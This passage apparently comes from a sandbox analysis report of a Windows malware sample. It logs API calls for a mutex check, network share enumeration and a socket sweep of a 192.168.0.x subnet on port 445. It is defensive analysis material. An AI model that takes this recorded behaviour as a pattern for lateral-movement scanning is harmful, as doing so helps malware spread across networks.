hHeap=0x560000) returned 1 [0285.271] GetProcessHeap () returned 0x560000 [0285.271] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87d88 | out: hHeap=0x560000) returned 1 [0285.271] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0285.272] GetProcessHeap () returned 0x560000 [0285.272] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0285.272] GetProcessHeap () returned 0x560000 [0285.272] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574598 [0285.272] GetProcessHeap () returned 0x560000 [0285.272] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574430 [0285.272] GetProcessHeap () returned 0x560000 [0285.272] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574430, Size=0x72) returned 0x56ff20 [0285.272] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0285.273] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x140 [0285.273] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x0) returned 0x0 [0285.273] GetProcessHeap () returned 0x560000 [0285.273] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574598 | out: hHeap=0x560000) returned 1 [0285.273] GetProcessHeap () returned 0x560000 [0285.273] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0285.273] ReleaseMutex (hMutex=0x140) returned 1 [0285.273] CloseHandle (hObject=0x140) returned 1 [0285.273] Sleep (dwMilliseconds=0x3e8) [0286.773] GetProcessHeap () returned 0x560000 [0286.773] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87c70 [0286.773] GetProcessHeap () returned 0x560000 [0286.773] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87d88 [0286.773] GetProcessHeap () returned 0x560000 [0286.774] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87e50 [0286.774] GetProcessHeap () returned 0x560000 [0286.774] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b87a58 [0286.774] GetProcessHeap () returned 0x560000 [0286.774] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87a58 | out: hHeap=0x560000) returned 1 [0286.774] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87d88, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0286.774] GetProcessHeap () returned 0x560000 [0286.774] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e50 | out: hHeap=0x560000) returned 1 [0286.774] GetProcessHeap () returned 0x560000 [0286.774] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0286.774] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0286.775] GetProcessHeap () returned 0x560000 [0286.775] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87d88 | out: hHeap=0x560000) returned 1 [0286.775] GetProcessHeap () returned 0x560000 [0286.775] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574598 [0286.775] GetProcessHeap () returned 0x560000 [0286.775] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574430 [0286.776] GetProcessHeap () returned 0x560000 [0286.776] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574430, Size=0x72) returned 0x56ff20 [0286.776] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0286.776] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x140 [0286.776] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x0) returned 0x0 [0286.776] GetProcessHeap () returned 0x560000 [0286.776] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574598 | out: hHeap=0x560000) returned 1 [0286.776] GetProcessHeap () returned 0x560000 [0286.776] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0286.777] ReleaseMutex (hMutex=0x140) returned 1 [0286.777] CloseHandle (hObject=0x140) returned 1 [0286.777] Sleep (dwMilliseconds=0x3e8) Thread: id = 47 os_tid = 0x618 [0201.560] GetProcessHeap () returned 0x560000 [0201.560] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x21a) returned 0x57fd90 [0201.560] GetProcessHeap () returned 0x560000 [0201.560] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x28) returned 0x57b0f8 [0201.560] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x100 [0201.560] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x104 [0201.560] GetComputerNameW (in: lpBuffer=0x57fda0, nSize=0x237fdc8 | out: lpBuffer="XDUWTFONO", nSize=0x237fdc8) returned 1 [0201.562] GetProcessHeap () returned 0x560000 [0201.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x26) returned 0x57d6a8 [0201.562] GetProcessHeap () returned 0x560000 [0201.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4000) returned 0x57ffb8 [0201.562] GetProcessHeap () returned 0x560000 [0201.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x583fc0 [0201.564] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x237fd80 | out: lphEnum=0x237fd80*=0x0) returned 0x4c6 [0209.936] GetProcessHeap () returned 0x560000 [0209.936] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57ffb8 | out: hHeap=0x560000) returned 1 [0209.936] GetProcessHeap () returned 0x560000 [0209.936] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x583fc0 | out: hHeap=0x560000) returned 1 [0209.936] GetProcessHeap () returned 0x560000 [0209.936] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4000) returned 0x6535c0 [0209.936] GetProcessHeap () returned 0x560000 [0209.937] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x57ffb8 [0209.937] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x237fd68 | out: lphEnum=0x237fd68*=0x57cb98) returned 0x0 [0209.937] WNetEnumResourceW (in: hEnum=0x57cb98, lpcCount=0x237fd60, lpBuffer=0x6535c0, lpBufferSize=0x237fd6c | out: lpcCount=0x237fd60, lpBuffer=0x6535c0, lpBufferSize=0x237fd6c) returned 0x103 [0209.938] WNetCloseEnum (hEnum=0x57cb98) returned 0x0 [0209.938] GetProcessHeap () returned 0x560000 [0209.938] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x6535c0 | out: hHeap=0x560000) returned 1 [0209.938] GetProcessHeap () returned 0x560000 [0209.938] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57ffb8 | out: hHeap=0x560000) returned 1 [0209.938] GetProcessHeap () returned 0x560000 [0209.938] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4000) returned 0x6535c0 [0209.938] GetProcessHeap () returned 0x560000 [0209.938] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x57ffb8 [0209.938] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x237fd50 | out: lphEnum=0x237fd50*=0x57d4a8) returned 0x0 [0209.945] WNetEnumResourceW (in: hEnum=0x57d4a8, lpcCount=0x237fd48, lpBuffer=0x6535c0, lpBufferSize=0x237fd54 | out: lpcCount=0x237fd48, lpBuffer=0x6535c0, lpBufferSize=0x237fd54) returned 0x0 [0209.946] GetProcessHeap () returned 0x560000 [0209.946] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4000) returned 0x58ffc0 [0209.946] GetProcessHeap () returned 0x560000 [0209.946] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b44188 [0209.948] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x6535c0, lphEnum=0x237fd10 | out: lphEnum=0x237fd10*=0x6575c8) returned 0x0 [0209.954] WNetEnumResourceW (in: hEnum=0x6575c8, lpcCount=0x237fd08, lpBuffer=0x58ffc0, lpBufferSize=0x237fd14 | out: lpcCount=0x237fd08, lpBuffer=0x58ffc0, lpBufferSize=0x237fd14) returned 0x0 [0209.955] WNetEnumResourceW (in: hEnum=0x6575c8, lpcCount=0x237fd08, lpBuffer=0x58ffc0, lpBufferSize=0x237fd14 | out: lpcCount=0x237fd08, lpBuffer=0x58ffc0, lpBufferSize=0x237fd14) returned 0x103 [0209.955] WNetCloseEnum (hEnum=0x6575c8) returned 0x0 [0209.955] GetProcessHeap () returned 0x560000 [0209.955] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x58ffc0 | out: hHeap=0x560000) returned 1 [0209.955] GetProcessHeap () returned 0x560000 [0209.956] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b44188 | out: hHeap=0x560000) returned 1 [0209.956] WNetEnumResourceW (in: hEnum=0x57d4a8, lpcCount=0x237fd48, lpBuffer=0x6535c0, lpBufferSize=0x237fd54 | out: lpcCount=0x237fd48, lpBuffer=0x6535c0, lpBufferSize=0x237fd54) returned 0x103 [0209.956] WNetCloseEnum (hEnum=0x57d4a8) returned 0x0 [0209.956] GetProcessHeap () returned 0x560000 [0209.956] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x6535c0 | out: hHeap=0x560000) returned 1 [0209.956] GetProcessHeap () returned 0x560000 [0209.956] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57ffb8 | out: hHeap=0x560000) returned 1 [0211.268] GetProcessHeap () returned 0x560000 [0211.268] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4000) returned 0x58ffc0 [0211.268] GetProcessHeap () returned 0x560000 [0211.268] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b54190 [0211.269] WNetOpenEnumW (in: dwScope=0x3, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x237fd80 | out: lphEnum=0x237fd80*=0x57cb98) returned 0x0 [0211.270] WNetEnumResourceW (in: hEnum=0x57cb98, lpcCount=0x237fd78, lpBuffer=0x58ffc0, lpBufferSize=0x237fd84 | out: lpcCount=0x237fd78, lpBuffer=0x58ffc0, lpBufferSize=0x237fd84) returned 0x103 [0211.270] WNetCloseEnum (hEnum=0x57cb98) returned 0x0 [0211.270] GetProcessHeap () returned 0x560000 [0211.270] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x58ffc0 | out: hHeap=0x560000) returned 1 [0211.271] GetProcessHeap () returned 0x560000 [0211.271] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b54190 | out: hHeap=0x560000) returned 1 [0211.271] GetProcessHeap () returned 0x560000 [0211.271] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4000) returned 0x58ffc0 [0211.271] GetProcessHeap () returned 0x560000 [0211.271] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b54190 [0211.271] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x237fd68 | out: lphEnum=0x237fd68*=0x57d4a8) returned 0x0 [0211.271] WNetEnumResourceW (in: hEnum=0x57d4a8, lpcCount=0x237fd60, lpBuffer=0x58ffc0, lpBufferSize=0x237fd6c | out: lpcCount=0x237fd60, lpBuffer=0x58ffc0, lpBufferSize=0x237fd6c) returned 0x0 [0211.272] GetProcessHeap () returned 0x560000 [0211.272] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4000) returned 0x6535c0 [0211.272] GetProcessHeap () returned 0x560000 [0211.272] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b642c0 [0211.273] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x590000, lphEnum=0x237fd28 | out: lphEnum=0x237fd28*=0x0) returned 0x4c6 [0211.274] GetProcessHeap () returned 0x560000 [0211.274] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x6535c0 | out: hHeap=0x560000) returned 1 [0211.274] GetProcessHeap () returned 0x560000 [0211.274] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b642c0 | out: hHeap=0x560000) returned 1 [0211.275] GetProcessHeap () returned 0x560000 [0211.275] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4000) returned 0x6535c0 [0211.275] GetProcessHeap () returned 0x560000 [0211.275] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b642c0 [0211.275] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x58ffe0, lphEnum=0x237fd28 | out: lphEnum=0x237fd28*=0x0) returned 0xaa [0212.930] GetProcessHeap () returned 0x560000 [0212.930] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x6535c0 | out: hHeap=0x560000) returned 1 [0212.930] GetProcessHeap () returned 0x560000 [0212.930] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b642c0 | out: hHeap=0x560000) returned 1 [0212.930] GetProcessHeap () returned 0x560000 [0212.930] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4000) returned 0x6535c0 [0212.931] GetProcessHeap () returned 0x560000 [0212.931] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b642c0 [0212.931] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x58ffc0, lphEnum=0x237fd28 | out: lphEnum=0x237fd28*=0x57cb98) returned 0x0 [0213.737] WNetEnumResourceW (in: hEnum=0x57cb98, lpcCount=0x237fd20, lpBuffer=0x6535c0, lpBufferSize=0x237fd2c | out: lpcCount=0x237fd20, lpBuffer=0x6535c0, lpBufferSize=0x237fd2c) returned 0x103 [0213.738] WNetCloseEnum (hEnum=0x57cb98) returned 0x0 [0213.738] GetProcessHeap () returned 0x560000 [0213.738] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x6535c0 | out: hHeap=0x560000) returned 1 [0213.738] GetProcessHeap () returned 0x560000 [0213.738] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b642c0 | out: hHeap=0x560000) returned 1 [0213.738] WNetEnumResourceW (in: hEnum=0x57d4a8, lpcCount=0x237fd60, lpBuffer=0x58ffc0, lpBufferSize=0x237fd6c | out: lpcCount=0x237fd60, lpBuffer=0x58ffc0, lpBufferSize=0x237fd6c) returned 0x103 [0213.738] WNetCloseEnum (hEnum=0x57d4a8) returned 0x0 [0213.738] GetProcessHeap () returned 0x560000 [0213.738] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x58ffc0 | out: hHeap=0x560000) returned 1 [0213.738] GetProcessHeap () returned 0x560000 [0213.738] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b54190 | out: hHeap=0x560000) returned 1 [0213.741] GetProcessHeap () returned 0x560000 [0213.741] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x3a98) returned 0x58ffc0 [0213.742] GetIpAddrTable (in: pIpAddrTable=0x58ffc0, pdwSize=0x237fd94, bOrder=0 | out: pIpAddrTable=0x58ffc0, pdwSize=0x237fd94) returned 0x0 [0217.707] htonl (hostlong=0x4c00a8c0) returned 0xc0a8004c [0217.707] htonl (hostlong=0x4c00a8c0) returned 0xc0a8004c [0217.708] htonl (hostlong=0xffffff) returned 0xffffff00 [0217.708] htons (hostshort=0x1bd) returned 0xbd01 [0217.708] GetProcessHeap () returned 0x560000 [0217.708] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x800) returned 0x65ebc0 [0217.708] GetProcessHeap () returned 0x560000 [0217.708] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x800) returned 0x65f3c8 [0217.708] htonl (hostlong=0xc0a80000) returned 0xa8c0 [0217.708] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.708] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.709] htonl (hostlong=0xc0a80001) returned 0x100a8c0 [0217.709] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.709] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.709] htonl (hostlong=0xc0a80002) returned 0x200a8c0 [0217.709] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.709] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.709] htonl (hostlong=0xc0a80003) returned 0x300a8c0 [0217.709] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.709] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.709] htonl (hostlong=0xc0a80004) returned 0x400a8c0 [0217.709] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.709] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.709] htonl (hostlong=0xc0a80005) returned 0x500a8c0 [0217.709] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.709] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.709] htonl (hostlong=0xc0a80006) returned 0x600a8c0 [0217.710] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.710] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.710] htonl (hostlong=0xc0a80007) returned 0x700a8c0 [0217.710] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.710] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.710] htonl (hostlong=0xc0a80008) returned 0x800a8c0 [0217.710] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.710] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.710] htonl (hostlong=0xc0a80009) returned 0x900a8c0 [0217.710] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.710] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.710] htonl (hostlong=0xc0a8000a) returned 0xa00a8c0 [0217.710] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.710] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.710] htonl (hostlong=0xc0a8000b) returned 0xb00a8c0 [0217.710] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.711] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.711] htonl (hostlong=0xc0a8000c) returned 0xc00a8c0 [0217.711] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.711] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.711] htonl (hostlong=0xc0a8000d) returned 0xd00a8c0 [0217.711] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.711] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.711] htonl (hostlong=0xc0a8000e) returned 0xe00a8c0 [0217.711] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.711] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.712] htonl (hostlong=0xc0a8000f) returned 0xf00a8c0 [0217.712] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.712] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.712] htonl (hostlong=0xc0a80010) returned 0x1000a8c0 [0217.712] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.712] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.712] htonl (hostlong=0xc0a80011) returned 0x1100a8c0 [0217.712] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.712] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.712] htonl (hostlong=0xc0a80012) returned 0x1200a8c0 [0217.712] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.712] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.712] htonl (hostlong=0xc0a80013) returned 0x1300a8c0 [0217.712] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.712] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.713] htonl (hostlong=0xc0a80014) returned 0x1400a8c0 [0217.713] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.713] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.713] htonl (hostlong=0xc0a80015) returned 0x1500a8c0 [0217.713] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.713] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.713] htonl (hostlong=0xc0a80016) returned 0x1600a8c0 [0217.713] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.713] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.713] htonl (hostlong=0xc0a80017) returned 0x1700a8c0 [0217.713] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.713] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.713] htonl (hostlong=0xc0a80018) returned 0x1800a8c0 [0217.713] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.713] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.713] htonl (hostlong=0xc0a80019) returned 0x1900a8c0 [0217.714] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.714] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.714] htonl (hostlong=0xc0a8001a) returned 0x1a00a8c0 [0217.714] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.714] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.714] htonl (hostlong=0xc0a8001b) returned 0x1b00a8c0 [0217.714] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.714] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.714] htonl (hostlong=0xc0a8001c) returned 0x1c00a8c0 [0217.714] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.714] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.714] htonl (hostlong=0xc0a8001d) returned 0x1d00a8c0 [0217.714] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.714] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.715] htonl (hostlong=0xc0a8001e) returned 0x1e00a8c0 [0217.715] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.715] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.715] htonl (hostlong=0xc0a8001f) returned 0x1f00a8c0 [0217.715] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.715] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.715] htonl (hostlong=0xc0a80020) returned 0x2000a8c0 [0217.715] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.715] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.715] htonl (hostlong=0xc0a80021) returned 0x2100a8c0 [0217.715] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.715] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.715] htonl (hostlong=0xc0a80022) returned 0x2200a8c0 [0217.715] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.715] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.715] htonl (hostlong=0xc0a80023) returned 0x2300a8c0 [0217.716] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.716] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.716] htonl (hostlong=0xc0a80024) returned 0x2400a8c0 [0217.716] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.716] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.716] htonl (hostlong=0xc0a80025) returned 0x2500a8c0 [0217.716] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.716] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.716] htonl (hostlong=0xc0a80026) returned 0x2600a8c0 [0217.716] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.716] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.716] htonl (hostlong=0xc0a80027) returned 0x2700a8c0 [0217.716] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.716] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.716] htonl (hostlong=0xc0a80028) returned 0x2800a8c0 [0217.716] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.716] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.716] htonl (hostlong=0xc0a80029) returned 0x2900a8c0 [0217.716] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.716] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.717] htonl (hostlong=0xc0a8002a) returned 0x2a00a8c0 [0217.717] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.717] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.717] htonl (hostlong=0xc0a8002b) returned 0x2b00a8c0 [0217.717] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.717] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.717] htonl (hostlong=0xc0a8002c) returned 0x2c00a8c0 [0217.717] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.717] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.717] htonl (hostlong=0xc0a8002d) returned 0x2d00a8c0 [0217.717] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.717] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.717] htonl (hostlong=0xc0a8002e) returned 0x2e00a8c0 [0217.717] socket (af=2, type=1, protocol=6) returned 0xffffffff 